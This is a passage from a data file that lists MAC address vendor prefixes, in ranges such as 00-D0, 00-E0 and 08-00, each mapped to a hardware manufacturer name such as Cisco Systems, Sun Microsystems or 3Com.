+00-D0-19:DAINIPPON SCREEN CORPORATE +00-D0-1A:URMET SUD S.P.A. +00-D0-1B:MIMAKI ENGINEERING CO., LTD. +00-D0-1C:SBS TECHNOLOGIES, +00-D0-1D:FURUNO ELECTRIC CO., LTD. +00-D0-1E:PINGTEL CORP. +00-D0-1F:CTAM PTY. LTD. +00-D0-20:AIM SYSTEM, INC. +00-D0-21:REGENT ELECTRONICS CORP. +00-D0-22:INCREDIBLE TECHNOLOGIES, INC. +00-D0-23:INFORTREND TECHNOLOGY, INC. +00-D0-24:Cognex Corporation +00-D0-25:XROSSTECH, INC. +00-D0-26:HIRSCHMANN AUSTRIA GMBH +00-D0-27:APPLIED AUTOMATION, INC. +00-D0-28:OMNEON VIDEO NETWORKS +00-D0-29:WAKEFERN FOOD CORPORATION +00-D0-2A:Voxent Systems Ltd. +00-D0-2B:JETCELL, INC. +00-D0-2C:CAMPBELL SCIENTIFIC, INC. +00-D0-2D:ADEMCO +00-D0-2E:COMMUNICATION AUTOMATION CORP. +00-D0-2F:VLSI TECHNOLOGY INC. +00-D0-30:SAFETRAN SYSTEMS CORP. +00-D0-31:INDUSTRIAL LOGIC CORPORATION +00-D0-32:YANO ELECTRIC CO., LTD. +00-D0-33:DALIAN DAXIAN NETWORK +00-D0-34:ORMEC SYSTEMS CORP. +00-D0-35:BEHAVIOR TECH. COMPUTER CORP. +00-D0-36:TECHNOLOGY ATLANTA CORP. +00-D0-37:PHILIPS-DVS-LO BDR +00-D0-38:FIVEMERE, LTD. +00-D0-39:UTILICOM, INC. +00-D0-3A:ZONEWORX, INC. +00-D0-3B:VISION PRODUCTS PTY. LTD. +00-D0-3C:Vieo, Inc. +00-D0-3D:GALILEO TECHNOLOGY, LTD. +00-D0-3E:ROCKETCHIPS, INC. +00-D0-3F:AMERICAN COMMUNICATION +00-D0-40:SYSMATE CO., LTD. +00-D0-41:AMIGO TECHNOLOGY CO., LTD. +00-D0-42:MAHLO GMBH & CO. UG +00-D0-43:ZONAL RETAIL DATA SYSTEMS +00-D0-44:ALIDIAN NETWORKS, INC. +00-D0-45:KVASER AB +00-D0-46:DOLBY LABORATORIES, INC. +00-D0-47:XN TECHNOLOGIES +00-D0-48:ECTON, INC. +00-D0-49:IMPRESSTEK CO., LTD. +00-D0-4A:PRESENCE TECHNOLOGY GMBH +00-D0-4B:LA CIE GROUP S.A. +00-D0-4C:EUROTEL TELECOM LTD. +00-D0-4D:DIV OF RESEARCH & STATISTICS +00-D0-4E:LOGIBAG +00-D0-4F:BITRONICS, INC. +00-D0-50:ISKRATEL +00-D0-51:O2 MICRO, INC. +00-D0-52:ASCEND COMMUNICATIONS, INC. +00-D0-53:CONNECTED SYSTEMS +00-D0-54:SAS INSTITUTE INC. +00-D0-55:KATHREIN-WERKE KG +00-D0-56:SOMAT CORPORATION +00-D0-57:ULTRAK, INC. +00-D0-58:CISCO SYSTEMS, INC. +00-D0-59:AMBIT MICROSYSTEMS CORP. +00-D0-5A:SYMBIONICS, LTD. +00-D0-5B:ACROLOOP MOTION CONTROL +00-D0-5C:TECHNOTREND SYSTEMTECHNIK GMBH +00-D0-5D:INTELLIWORXX, INC. +00-D0-5E:STRATABEAM TECHNOLOGY, INC. +00-D0-5F:VALCOM, INC. +00-D0-60:PANASONIC EUROPEAN +00-D0-61:TREMON ENTERPRISES CO., LTD. +00-D0-62:DIGIGRAM +00-D0-63:CISCO SYSTEMS, INC. +00-D0-64:MULTITEL +00-D0-65:TOKO ELECTRIC +00-D0-66:WINTRISS ENGINEERING CORP. +00-D0-67:CAMPIO COMMUNICATIONS +00-D0-68:IWILL CORPORATION +00-D0-69:TECHNOLOGIC SYSTEMS +00-D0-6A:LINKUP SYSTEMS CORPORATION +00-D0-6B:SR TELECOM INC. +00-D0-6C:SHAREWAVE, INC. +00-D0-6D:ACRISON, INC. +00-D0-6E:TRENDVIEW RECORDERS LTD. +00-D0-6F:KMC CONTROLS +00-D0-70:LONG WELL ELECTRONICS CORP. +00-D0-71:ECHELON CORP. +00-D0-72:BROADLOGIC +00-D0-73:ACN ADVANCED COMMUNICATIONS +00-D0-74:TAQUA SYSTEMS, INC. +00-D0-75:ALARIS MEDICAL SYSTEMS, INC. +00-D0-76:MERRILL LYNCH & CO., INC. +00-D0-77:LUCENT TECHNOLOGIES +00-D0-78:ELTEX OF SWEDEN AB +00-D0-79:CISCO SYSTEMS, INC. +00-D0-7A:AMAQUEST COMPUTER CORP. +00-D0-7B:COMCAM INTERNATIONAL LTD. +00-D0-7C:KOYO ELECTRONICS INC. CO.,LTD. +00-D0-7D:COSINE COMMUNICATIONS +00-D0-7E:KEYCORP LTD. +00-D0-7F:STRATEGY & TECHNOLOGY, LIMITED +00-D0-80:EXABYTE CORPORATION +00-D0-81:REAL TIME DEVICES USA, INC. +00-D0-82:IOWAVE INC. +00-D0-83:INVERTEX, INC. +00-D0-84:NEXCOMM SYSTEMS, INC. +00-D0-85:OTIS ELEVATOR COMPANY +00-D0-86:FOVEON, INC. +00-D0-87:MICROFIRST INC. +00-D0-88:Terayon Communications Systems +00-D0-89:DYNACOLOR, INC. +00-D0-8A:PHOTRON USA +00-D0-8B:ADVA Limited +00-D0-8C:GENOA TECHNOLOGY, INC. +00-D0-8D:PHOENIX GROUP, INC. +00-D0-8E:NVISION INC. +00-D0-8F:ARDENT TECHNOLOGIES, INC. +00-D0-90:CISCO SYSTEMS, INC. +00-D0-91:SMARTSAN SYSTEMS, INC. +00-D0-92:GLENAYRE WESTERN MULTIPLEX +00-D0-93:TQ - COMPONENTS GMBH +00-D0-94:TIMELINE VISTA, INC. +00-D0-95:XYLAN CORPORATION +00-D0-96:3COM EUROPE LTD. +00-D0-97:CISCO SYSTEMS, INC. +00-D0-98:Photon Dynamics Canada Inc. +00-D0-99:ELCARD OY +00-D0-9A:FILANET CORPORATION +00-D0-9B:SPECTEL LTD. +00-D0-9C:KAPADIA COMMUNICATIONS +00-D0-9D:VERIS INDUSTRIES +00-D0-9E:2WIRE, INC. +00-D0-9F:NOVTEK TEST SYSTEMS +00-D0-A0:MIPS DENMARK +00-D0-A1:OSKAR VIERLING GMBH + CO. KG +00-D0-A2:INTEGRATED DEVICE +00-D0-A3:VOCAL DATA, INC. +00-D0-A4:ALANTRO COMMUNICATIONS +00-D0-A5:AMERICAN ARIUM +00-D0-A6:LANBIRD TECHNOLOGY CO., LTD. +00-D0-A7:TOKYO SOKKI KENKYUJO CO., LTD. +00-D0-A8:NETWORK ENGINES, INC. +00-D0-A9:SHINANO KENSHI CO., LTD. +00-D0-AA:CHASE COMMUNICATIONS +00-D0-AB:DELTAKABEL TELECOM CV +00-D0-AC:GRAYSON WIRELESS +00-D0-AD:TL INDUSTRIES +00-D0-AE:ORESIS COMMUNICATIONS, INC. +00-D0-AF:CUTLER-HAMMER, INC. +00-D0-B0:BITSWITCH LTD. +00-D0-B1:OMEGA ELECTRONICS SA +00-D0-B2:XIOTECH CORPORATION +00-D0-B3:DRS FLIGHT SAFETY AND +00-D0-B4:KATSUJIMA CO., LTD. +00-D0-B5:IPricot formerly DotCom +00-D0-B6:CRESCENT NETWORKS, INC. +00-D0-B7:INTEL CORPORATION +00-D0-B8:IOMEGA CORP. +00-D0-B9:MICROTEK INTERNATIONAL, INC. +00-D0-BA:CISCO SYSTEMS, INC. +00-D0-BB:CISCO SYSTEMS, INC. +00-D0-BC:CISCO SYSTEMS, INC. +00-D0-BD:SICAN GMBH +00-D0-BE:EMUTEC INC. +00-D0-BF:PIVOTAL TECHNOLOGIES +00-D0-C0:CISCO SYSTEMS, INC. +00-D0-C1:HARMONIC DATA SYSTEMS, LTD. +00-D0-C2:BALTHAZAR TECHNOLOGY AB +00-D0-C3:VIVID TECHNOLOGY PTE, LTD. +00-D0-C4:TERATECH CORPORATION +00-D0-C5:COMPUTATIONAL SYSTEMS, INC. +00-D0-C6:THOMAS & BETTS CORP. +00-D0-C7:PATHWAY, INC. +00-D0-C8:I/O CONSULTING A/S +00-D0-C9:ADVANTECH CO., LTD. +00-D0-CA:INTRINSYC SOFTWARE INC. +00-D0-CB:DASAN CO., LTD. +00-D0-CC:TECHNOLOGIES LYRE INC. +00-D0-CD:ATAN TECHNOLOGY INC. +00-D0-CE:ASYST ELECTRONIC +00-D0-CF:MORETON BAY +00-D0-D0:ZHONGXING TELECOM LTD. +00-D0-D1:SIROCCO SYSTEMS, INC. +00-D0-D2:EPILOG CORPORATION +00-D0-D3:CISCO SYSTEMS, INC. +00-D0-D4:V-BITS, INC. +00-D0-D5:GRUNDIG AG +00-D0-D6:AETHRA TELECOMUNICAZIONI +00-D0-D7:B2C2, INC. +00-D0-D8:3Com Corporation +00-D0-D9:DEDICATED MICROCOMPUTERS +00-D0-DA:TAICOM DATA SYSTEMS CO., LTD. +00-D0-DB:MCQUAY INTERNATIONAL +00-D0-DC:MODULAR MINING SYSTEMS, INC. +00-D0-DD:SUNRISE TELECOM, INC. +00-D0-DE:PHILIPS MULTIMEDIA NETWORK +00-D0-DF:KUZUMI ELECTRONICS, INC. +00-D0-E0:DOOIN ELECTRONICS CO. +00-D0-E1:AVIONITEK ISRAEL INC. +00-D0-E2:MRT MICRO, INC. +00-D0-E3:ELE-CHEM ENGINEERING CO., LTD. +00-D0-E4:CISCO SYSTEMS, INC. +00-D0-E5:SOLIDUM SYSTEMS CORP. +00-D0-E6:IBOND INC. +00-D0-E7:VCON TELECOMMUNICATION LTD. +00-D0-E8:MAC SYSTEM CO., LTD. +00-D0-E9:ADVANTAGE CENTURY +00-D0-EA:NEXTONE COMMUNICATIONS, INC. +00-D0-EB:LIGHTERA NETWORKS, INC. +00-D0-EC:NAKAYO TELECOMMUNICATIONS, INC +00-D0-ED:XIOX +00-D0-EE:DICTAPHONE CORPORATION +00-D0-EF:IGT +00-D0-F0:CONVISION TECHNOLOGY GMBH +00-D0-F1:SEGA ENTERPRISES, LTD. +00-D0-F2:MONTEREY NETWORKS +00-D0-F3:SOLARI DI UDINE SPA +00-D0-F4:CARINTHIAN TECH INSTITUTE +00-D0-F5:ORANGE MICRO, INC. +00-D0-F6:Alcatel Canada +00-D0-F7:NEXT NETS CORPORATION +00-D0-F8:FUJIAN STAR TERMINAL +00-D0-F9:ACUTE COMMUNICATIONS CORP. +00-D0-FA:RACAL GUARDATA +00-D0-FB:TEK MICROSYSTEMS, INCORPORATED +00-D0-FC:GRANITE MICROSYSTEMS +00-D0-FD:OPTIMA TELE.COM, INC. +00-D0-FE:ASTRAL POINT +00-D0-FF:CISCO SYSTEMS, INC. +00-DD-00:UNGERMANN-BASS INC. +00-DD-01:UNGERMANN-BASS INC. +00-DD-02:UNGERMANN-BASS INC. +00-DD-03:UNGERMANN-BASS INC. +00-DD-04:UNGERMANN-BASS INC. +00-DD-05:UNGERMANN-BASS INC. +00-DD-06:UNGERMANN-BASS INC. +00-DD-07:UNGERMANN-BASS INC. +00-DD-08:UNGERMANN-BASS INC. +00-DD-09:UNGERMANN-BASS INC. +00-DD-0A:UNGERMANN-BASS INC. +00-DD-0B:UNGERMANN-BASS INC. +00-DD-0C:UNGERMANN-BASS INC. +00-DD-0D:UNGERMANN-BASS INC. +00-DD-0E:UNGERMANN-BASS INC. +00-DD-0F:UNGERMANN-BASS INC. +00-E0-00:FUJITSU, LTD +00-E0-01:STRAND LIGHTING LIMITED +00-E0-02:CROSSROADS SYSTEMS, INC. +00-E0-03:NOKIA WIRELESS BUSINESS COMMUN +00-E0-04:PMC-SIERRA, INC. +00-E0-05:TECHNICAL CORP. +00-E0-06:SILICON INTEGRATED SYS. CORP. +00-E0-07:NETWORK ALCHEMY LTD. +00-E0-08:AMAZING CONTROLS! INC. +00-E0-09:MARATHON TECHNOLOGIES CORP. +00-E0-0A:DIBA, INC. +00-E0-0B:ROOFTOP COMMUNICATIONS CORP. +00-E0-0C:MOTOROLA +00-E0-0D:RADIANT SYSTEMS +00-E0-0E:AVALON IMAGING SYSTEMS, INC. +00-E0-0F:SHANGHAI BAUD DATA +00-E0-10:HESS SB-AUTOMATENBAU GmbH +00-E0-11:UNIDEN SAN DIEGO R&D CENTER, INC. +00-E0-12:PLUTO TECHNOLOGIES INTERNATIONAL INC. +00-E0-13:EASTERN ELECTRONIC CO., LTD. +00-E0-14:CISCO SYSTEMS, INC. +00-E0-15:HEIWA CORPORATION +00-E0-16:RAPID CITY COMMUNICATIONS +00-E0-17:EXXACT GmbH +00-E0-18:ASUSTEK COMPUTER INC. +00-E0-19:ING. GIORDANO ELETTRONICA +00-E0-1A:COMTEC SYSTEMS. CO., LTD. +00-E0-1B:SPHERE COMMUNICATIONS, INC. +00-E0-1C:MOBILITY ELECTRONICSY +00-E0-1D:WebTV NETWORKS, INC. +00-E0-1E:CISCO SYSTEMS, INC. +00-E0-1F:AVIDIA Systems, Inc. +00-E0-20:TECNOMEN OY +00-E0-21:FREEGATE CORP. +00-E0-22:Analog Devices Inc. +00-E0-23:TELRAD +00-E0-24:GADZOOX NETWORKS +00-E0-25:dit CO., LTD. +00-E0-26:EASTMAN KODAK CO. +00-E0-27:DUX, INC. +00-E0-28:APTIX CORPORATION +00-E0-29:STANDARD MICROSYSTEMS CORP. +00-E0-2A:TANDBERG TELEVISION AS +00-E0-2B:EXTREME NETWORKS +00-E0-2C:AST COMPUTER +00-E0-2D:InnoMediaLogic, Inc. +00-E0-2E:SPC ELECTRONICS CORPORATION +00-E0-2F:MCNS HOLDINGS, L.P. +00-E0-30:MELITA INTERNATIONAL CORP. +00-E0-31:HAGIWARA ELECTRIC CO., LTD. +00-E0-32:MISYS FINANCIAL SYSTEMS, LTD. +00-E0-33:E.E.P.D. GmbH +00-E0-34:CISCO SYSTEMS, INC. +00-E0-35:LOUGHBOROUGH SOUND IMAGES, PLC +00-E0-36:PIONEER CORPORATION +00-E0-37:CENTURY CORPORATION +00-E0-38:PROXIMA CORPORATION +00-E0-39:PARADYNE CORP. +00-E0-3A:CABLETRON SYSTEMS, INC. +00-E0-3B:PROMINET CORPORATION +00-E0-3C:AdvanSys +00-E0-3D:FOCON ELECTRONIC SYSTEMS A/S +00-E0-3E:ALFATECH, INC. +00-E0-3F:JATON CORPORATION +00-E0-40:DeskStation Technology, Inc. +00-E0-41:CSPI +00-E0-42:Pacom Systems Ltd. +00-E0-43:VitalCom +00-E0-44:LSICS CORPORATION +00-E0-45:TOUCHWAVE, INC. +00-E0-46:BENTLY NEVADA CORP. +00-E0-47:INFOCUS SYSTEMS +00-E0-48:SDL COMMUNICATIONS, INC. +00-E0-49:MICROWI ELECTRONIC GmbH +00-E0-4A:ENHANCED MESSAGING SYSTEMS, INC +00-E0-4B:JUMP INDUSTRIELLE COMPUTERTECHNIK GmbH +00-E0-4C:REALTEK SEMICONDUCTOR CORP. +00-E0-4D:INTERNET INITIATIVE JAPAN, INC +00-E0-4E:SANYO DENKI CO., LTD. +00-E0-4F:CISCO SYSTEMS, INC. +00-E0-50:EXECUTONE INFORMATION SYSTEMS, INC. +00-E0-51:TALX CORPORATION +00-E0-52:FOUNDRY NETWORKS, INC. +00-E0-53:CELLPORT LABS, INC. +00-E0-54:KODAI HITEC CO., LTD. +00-E0-55:INGENIERIA ELECTRONICA COMERCIAL INELCOM S.A. +00-E0-56:HOLONTECH CORPORATION +00-E0-57:HAN MICROTELECOM. CO., LTD. +00-E0-58:PHASE ONE DENMARK A/S +00-E0-59:CONTROLLED ENVIRONMENTS, LTD. +00-E0-5A:GALEA NETWORK SECURITY +00-E0-5B:WEST END SYSTEMS CORP. +00-E0-5C:MATSUSHITA KOTOBUKI ELECTRONICS INDUSTRIES, LTD. +00-E0-5D:UNITEC CO., LTD. +00-E0-5E:JAPAN AVIATION ELECTRONICS INDUSTRY, LTD. +00-E0-5F:e-Net, Inc. +00-E0-60:SHERWOOD +00-E0-61:EdgePoint Networks, Inc. +00-E0-62:HOST ENGINEERING +00-E0-63:CABLETRON - YAGO SYSTEMS, INC. +00-E0-64:SAMSUNG ELECTRONICS +00-E0-65:OPTICAL ACCESS INTERNATIONAL +00-E0-66:ProMax Systems, Inc. +00-E0-67:eac AUTOMATION-CONSULTING GmbH +00-E0-68:MERRIMAC SYSTEMS INC. +00-E0-69:JAYCOR +00-E0-6A:KAPSCH AG +00-E0-6B:W&G SPECIAL PRODUCTS +00-E0-6C:AEP Systems International Ltd +00-E0-6D:COMPUWARE CORPORATION +00-E0-6E:FAR SYSTEMS S.p.A. +00-E0-6F:Terayon Communications Systems +00-E0-70:DH TECHNOLOGY +00-E0-71:EPIS MICROCOMPUTER +00-E0-72:LYNK +00-E0-73:NATIONAL AMUSEMENT NETWORK, INC. +00-E0-74:TIERNAN COMMUNICATIONS, INC. +00-E0-75:Verilink Corporation +00-E0-76:DEVELOPMENT CONCEPTS, INC. +00-E0-77:WEBGEAR, INC. +00-E0-78:BERKELEY NETWORKS +00-E0-79:A.T.N.R. +00-E0-7A:MIKRODIDAKT AB +00-E0-7B:BAY NETWORKS +00-E0-7C:METTLER-TOLEDO, INC. +00-E0-7D:NETRONIX, INC. +00-E0-7E:WALT DISNEY IMAGINEERING +00-E0-7F:LOGISTISTEM s.r.l. +00-E0-80:CONTROL RESOURCES CORPORATION +00-E0-81:TYAN COMPUTER CORP. +00-E0-82:ANERMA +00-E0-83:JATO TECHNOLOGIES, INC. +00-E0-84:COMPULITE R&D +00-E0-85:GLOBAL MAINTECH, INC. +00-E0-86:CYBEX COMPUTER PRODUCTS +00-E0-87:LeCroy - Networking Productions Division +00-E0-88:LTX CORPORATION +00-E0-89:ION Networks, Inc. +00-E0-8A:GEC AVERY, LTD. +00-E0-8B:QLogic Corp. +00-E0-8C:NEOPARADIGM LABS, INC. +00-E0-8D:PRESSURE SYSTEMS, INC. +00-E0-8E:UTSTARCOM +00-E0-8F:CISCO SYSTEMS, INC. +00-E0-90:BECKMAN LAB. AUTOMATION DIV. +00-E0-91:LG ELECTRONICS, INC. +00-E0-92:ADMTEK INCORPORATED +00-E0-93:ACKFIN NETWORKS +00-E0-94:OSAI SRL +00-E0-95:ADVANCED-VISION TECHNOLGIES CORP. +00-E0-96:SHIMADZU CORPORATION +00-E0-97:CARRIER ACCESS CORPORATION +00-E0-98:AboCom Systems, Inc. +00-E0-99:SAMSON AG +00-E0-9A:POSITRON INDUSTRIES, INC. +00-E0-9B:ENGAGE NETWORKS, INC. +00-E0-9C:MII +00-E0-9D:SARNOFF CORPORATION +00-E0-9E:QUANTUM CORPORATION +00-E0-9F:PIXEL VISION +00-E0-A0:WILTRON CO. +00-E0-A1:HIMA PAUL HILDEBRANDT GmbH Co. KG +00-E0-A2:MICROSLATE INC. +00-E0-A3:CISCO SYSTEMS, INC. +00-E0-A4:ESAOTE S.p.A. +00-E0-A5:ComCore Semiconductor, Inc. +00-E0-A6:TELOGY NETWORKS, INC. +00-E0-A7:IPC INFORMATION SYSTEMS, INC. +00-E0-A8:SAT GmbH & Co. +00-E0-A9:FUNAI ELECTRIC CO., LTD. +00-E0-AA:ELECTROSONIC LTD. +00-E0-AB:DIMAT S.A. +00-E0-AC:MIDSCO, INC. +00-E0-AD:EES TECHNOLOGY, LTD. +00-E0-AE:XAQTI CORPORATION +00-E0-AF:GENERAL DYNAMICS INFORMATION SYSTEMS +00-E0-B0:CISCO SYSTEMS, INC. +00-E0-B1:PACKET ENGINES, INC. +00-E0-B2:TELMAX COMMUNICATIONS CORP. +00-E0-B3:EtherWAN Systems, Inc. +00-E0-B4:TECHNO SCOPE CO., LTD. +00-E0-B5:ARDENT COMMUNICATIONS CORP. +00-E0-B6:Entrada Networks +00-E0-B7:PI GROUP, LTD. +00-E0-B8:GATEWAY 2000 +00-E0-B9:BYAS SYSTEMS +00-E0-BA:BERGHOF AUTOMATIONSTECHNIK GmbH +00-E0-BB:NBX CORPORATION +00-E0-BC:SYMON COMMUNICATIONS, INC. +00-E0-BD:INTERFACE SYSTEMS, INC. +00-E0-BE:GENROCO INTERNATIONAL, INC. +00-E0-BF:TORRENT NETWORKING TECHNOLOGIES CORP. +00-E0-C0:SEIWA ELECTRIC MFG. CO., LTD. +00-E0-C1:MEMOREX TELEX JAPAN, LTD. +00-E0-C2:NECSY S.p.A. +00-E0-C3:SAKAI SYSTEM DEVELOPMENT CORP. +00-E0-C4:HORNER ELECTRIC, INC. +00-E0-C5:BCOM ELECTRONICS INC. +00-E0-C6:LINK2IT, L.L.C. +00-E0-C7:EUROTECH SRL +00-E0-C8:VIRTUAL ACCESS, LTD. +00-E0-C9:AutomatedLogic Corporation +00-E0-CA:BEST DATA PRODUCTS +00-E0-CB:RESON, INC. +00-E0-CC:HERO SYSTEMS, LTD. +00-E0-CD:SENSIS CORPORATION +00-E0-CE:ARN +00-E0-CF:INTEGRATED DEVICE TECHNOLOGY, INC. +00-E0-D0:NETSPEED, INC. +00-E0-D1:TELSIS LIMITED +00-E0-D2:VERSANET COMMUNICATIONS, INC. +00-E0-D3:DATENTECHNIK GmbH +00-E0-D4:EXCELLENT COMPUTER +00-E0-D5:ARCXEL TECHNOLOGIES, INC. +00-E0-D6:COMPUTER & COMMUNICATION RESEARCH LAB. +00-E0-D7:SUNSHINE ELECTRONICS, INC. +00-E0-D8:LANBit Computer, Inc. +00-E0-D9:TAZMO CO., LTD. +00-E0-DA:ASSURED ACCESS TECHNOLOGY, INC. +00-E0-DB:ViaVideo Communications, Inc. +00-E0-DC:NEXWARE CORP. +00-E0-DD:ZENITH ELECTRONICS CORPORATION +00-E0-DE:DATAX NV +00-E0-DF:KE KOMMUNIKATIONS-ELECTRONIK +00-E0-E0:SI ELECTRONICS, LTD. +00-E0-E1:G2 NETWORKS, INC. +00-E0-E2:INNOVA CORP. +00-E0-E3:SK-ELEKTRONIK GmbH +00-E0-E4:FANUC ROBOTICS NORTH AMERICA, Inc. +00-E0-E5:CINCO NETWORKS, INC. +00-E0-E6:INCAA DATACOM B.V. +00-E0-E7:RAYTHEON E-SYSTEMS, INC. +00-E0-E8:GRETACODER Data Systems AG +00-E0-E9:DATA LABS, INC. +00-E0-EA:INNOVAT COMMUNICATIONS, INC. +00-E0-EB:DIGICOM SYSTEMS, INCORPORATED +00-E0-EC:CELESTICA INC. +00-E0-ED:SILICOM, LTD. +00-E0-EE:MAREL HF +00-E0-EF:DIONEX +00-E0-F0:ABLER TECHNOLOGY, INC. +00-E0-F1:THAT CORPORATION +00-E0-F2:ARLOTTO COMNET, INC. +00-E0-F3:WebSprint Communications, Inc. +00-E0-F4:INSIDE Technology A/S +00-E0-F5:TELES AG +00-E0-F6:DECISION EUROPE +00-E0-F7:CISCO SYSTEMS, INC. +00-E0-F8:DICNA CONTROL AB +00-E0-F9:CISCO SYSTEMS, INC. +00-E0-FA:TRL TECHNOLOGY, LTD. +00-E0-FB:LEIGHTRONIX, INC. +00-E0-FC:HUAWEI TECHNOLOGIES CO., LTD. +00-E0-FD:A-TREND TECHNOLOGY CO., LTD. +00-E0-FE:CISCO SYSTEMS, INC. +00-E0-FF:SECURITY DYNAMICS TECHNOLOGIES, Inc. +00-E6-D3:NIXDORF COMPUTER CORP. +02-07-01:RACAL-DATACOM +02-1C-7C:PERQ SYSTEMS CORPORATION +02-60-86:LOGIC REPLACEMENT TECH. LTD. +02-60-8C:3COM CORPORATION +02-70-01:RACAL-DATACOM +02-70-B0:M/A-COM INC. COMPANIES +02-70-B3:DATA RECALL LTD +02-9D-8E:CARDIAC RECORDERS INC. +02-AA-3C:OLIVETTI TELECOMM SPA (OLTECO) +02-BB-01:OCTOTHORPE CORP. +02-C0-8C:3COM CORPORATION +02-CF-1C:COMMUNICATION MACHINERY CORP. +02-E6-D3:NIXDORF COMPUTER CORPORATION +04-0A-E0:XMIT AG COMPUTER NETWORKS +04-E0-C4:TRIUMPH-ADLER AG +08-00-01:COMPUTERVISION CORPORATION +08-00-02:BRIDGE COMMUNICATIONS INC. +08-00-03:ADVANCED COMPUTER COMM. +08-00-04:CROMEMCO INCORPORATED +08-00-05:SYMBOLICS INC. +08-00-06:SIEMENS AG +08-00-07:APPLE COMPUTER INC. +08-00-08:BOLT BERANEK AND NEWMAN INC. +08-00-09:HEWLETT PACKARD +08-00-0A:NESTAR SYSTEMS INCORPORATED +08-00-0B:UNISYS CORPORATION +08-00-0C:MIKLYN DEVELOPMENT CO. +08-00-0D:INTERNATIONAL COMPUTERS LTD. +08-00-0E:NCR CORPORATION +08-00-0F:MITEL CORPORATION +08-00-11:TEKTRONIX INC. +08-00-12:BELL ATLANTIC INTEGRATED SYST. +08-00-13:EXXON +08-00-14:EXCELAN +08-00-15:STC BUSINESS SYSTEMS +08-00-16:BARRISTER INFO SYS CORP +08-00-17:NATIONAL SEMICONDUCTOR +08-00-18:PIRELLI FOCOM NETWORKS +08-00-19:GENERAL ELECTRIC CORPORATION +08-00-1A:TIARA/ 10NET +08-00-1B:DATA GENERAL +08-00-1C:KDD-KOKUSAI DEBNSIN DENWA CO. +08-00-1D:ABLE COMMUNICATIONS INC. +08-00-1E:APOLLO COMPUTER INC. +08-00-1F:SHARP CORPORATION +08-00-20:SUN MICROSYSTEMS INC. +08-00-21:3M COMPANY +08-00-22:NBI INC. +08-00-23:Panasonic Communications Co., Ltd. +08-00-24:10NET COMMUNICATIONS/DCA +08-00-25:CONTROL DATA +08-00-26:NORSK DATA A.S. +08-00-27:CADMUS COMPUTER SYSTEMS +08-00-28:Texas Instruments +08-00-29:MEGATEK CORPORATION +08-00-2A:MOSAIC TECHNOLOGIES INC. +08-00-2B:DIGITAL EQUIPMENT CORPORATION +08-00-2C:BRITTON LEE INC. +08-00-2D:LAN-TEC INC. +08-00-2E:METAPHOR COMPUTER SYSTEMS +08-00-2F:PRIME COMPUTER INC. +08-00-30:NETWORK RESEARCH CORPORATION +08-00-30:CERN +08-00-30:ROYAL MELBOURNE INST OF TECH +08-00-31:LITTLE MACHINES INC. +08-00-32:TIGAN INCORPORATED +08-00-33:BAUSCH & LOMB +08-00-34:FILENET CORPORATION +08-00-35:MICROFIVE CORPORATION +08-00-36:INTERGRAPH CORPORATION +08-00-37:FUJI-XEROX CO. LTD. +08-00-38:CII HONEYWELL BULL +08-00-39:SPIDER SYSTEMS LIMITED +08-00-3A:ORCATECH INC. +08-00-3B:TORUS SYSTEMS LIMITED +08-00-3C:SCHLUMBERGER WELL SERVICES +08-00-3D:CADNETIX CORPORATIONS +08-00-3E:CODEX CORPORATION +08-00-3F:FRED KOSCHARA ENTERPRISES +08-00-40:FERRANTI COMPUTER SYS. LIMITED +08-00-41:RACAL-MILGO INFORMATION SYS.. +08-00-42:JAPAN MACNICS CORP. +08-00-43:PIXEL COMPUTER INC. +08-00-44:DAVID SYSTEMS INC. +08-00-45:CONCURRENT COMPUTER CORP. +08-00-46:SONY CORPORATION LTD. +08-00-47:SEQUENT COMPUTER SYSTEMS INC. +08-00-48:EUROTHERM GAUGING SYSTEMS +08-00-49:UNIVATION +08-00-4A:BANYAN SYSTEMS INC. +08-00-4B:PLANNING RESEARCH CORP. +08-00-4C:HYDRA COMPUTER SYSTEMS INC. +08-00-4D:CORVUS SYSTEMS INC. +08-00-4E:3COM EUROPE LTD. +08-00-4F:CYGNET SYSTEMS +08-00-50:DAISY SYSTEMS CORP. +08-00-51:EXPERDATA +08-00-52:INSYSTEC +08-00-53:MIDDLE EAST TECH. UNIVERSITY +08-00-55:STANFORD TELECOMM. INC. +08-00-56:STANFORD LINEAR ACCEL. CENTER +08-00-57:EVANS & SUTHERLAND +08-00-58:SYSTEMS CONCEPTS +08-00-59:A/S MYCRON +08-00-5A:IBM CORPORATION +08-00-5B:VTA TECHNOLOGIES INC. +08-00-5C:FOUR PHASE SYSTEMS +08-00-5D:GOULD INC. +08-00-5E:COUNTERPOINT COMPUTER INC. +08-00-5F:SABER TECHNOLOGY CORP. +08-00-60:INDUSTRIAL NETWORKING INC. +08-00-61:JAROGATE LTD. +08-00-62:GENERAL DYNAMICS +08-00-63:PLESSEY +08-00-64:AUTOPHON AG +08-00-65:GENRAD INC. +08-00-66:AGFA CORPORATION +08-00-67:COMDESIGN +08-00-68:RIDGE COMPUTERS +08-00-69:SILICON GRAPHICS INC. +08-00-6A:ATT BELL LABORATORIES +08-00-6B:ACCEL TECHNOLOGIES INC. +08-00-6C:SUNTEK TECHNOLOGY INT'L +08-00-6D:WHITECHAPEL COMPUTER WORKS +08-00-6E:MASSCOMP +08-00-6F:PHILIPS APELDOORN B.V. +08-00-70:MITSUBISHI ELECTRIC CORP. +08-00-71:MATRA (DSIE) +08-00-72:XEROX CORP UNIV GRANT PROGRAM +08-00-73:TECMAR INC. +08-00-74:CASIO COMPUTER CO. LTD. +08-00-75:DANSK DATA ELECTRONIK +08-00-76:PC LAN TECHNOLOGIES +08-00-77:TSL COMMUNICATIONS LTD. +08-00-78:ACCELL CORPORATION +08-00-79:THE DROID WORKS +08-00-7A:INDATA +08-00-7B:SANYO ELECTRIC CO. LTD. +08-00-7C:VITALINK COMMUNICATIONS CORP. +08-00-7E:AMALGAMATED WIRELESS(AUS) LTD +08-00-7F:CARNEGIE-MELLON UNIVERSITY +08-00-80:AES DATA INC. +08-00-81:ASTECH INC. +08-00-82:VERITAS SOFTWARE +08-00-83:Seiko Instruments Inc. +08-00-84:TOMEN ELECTRONICS CORP. +08-00-85:ELXSI +08-00-86:KONICA MINOLTA HOLDINGS, INC. +08-00-87:XYPLEX +08-00-88:MCDATA CORPORATION +08-00-89:KINETICS +08-00-8A:PERFORMANCE TECHNOLOGY +08-00-8B:PYRAMID TECHNOLOGY CORP. +08-00-8C:NETWORK RESEARCH CORPORATION +08-00-8D:XYVISION INC. +08-00-8E:TANDEM COMPUTERS +08-00-8F:CHIPCOM CORPORATION +08-00-90:SONOMA SYSTEMS +08-14-43:UNIBRAIN S.A. 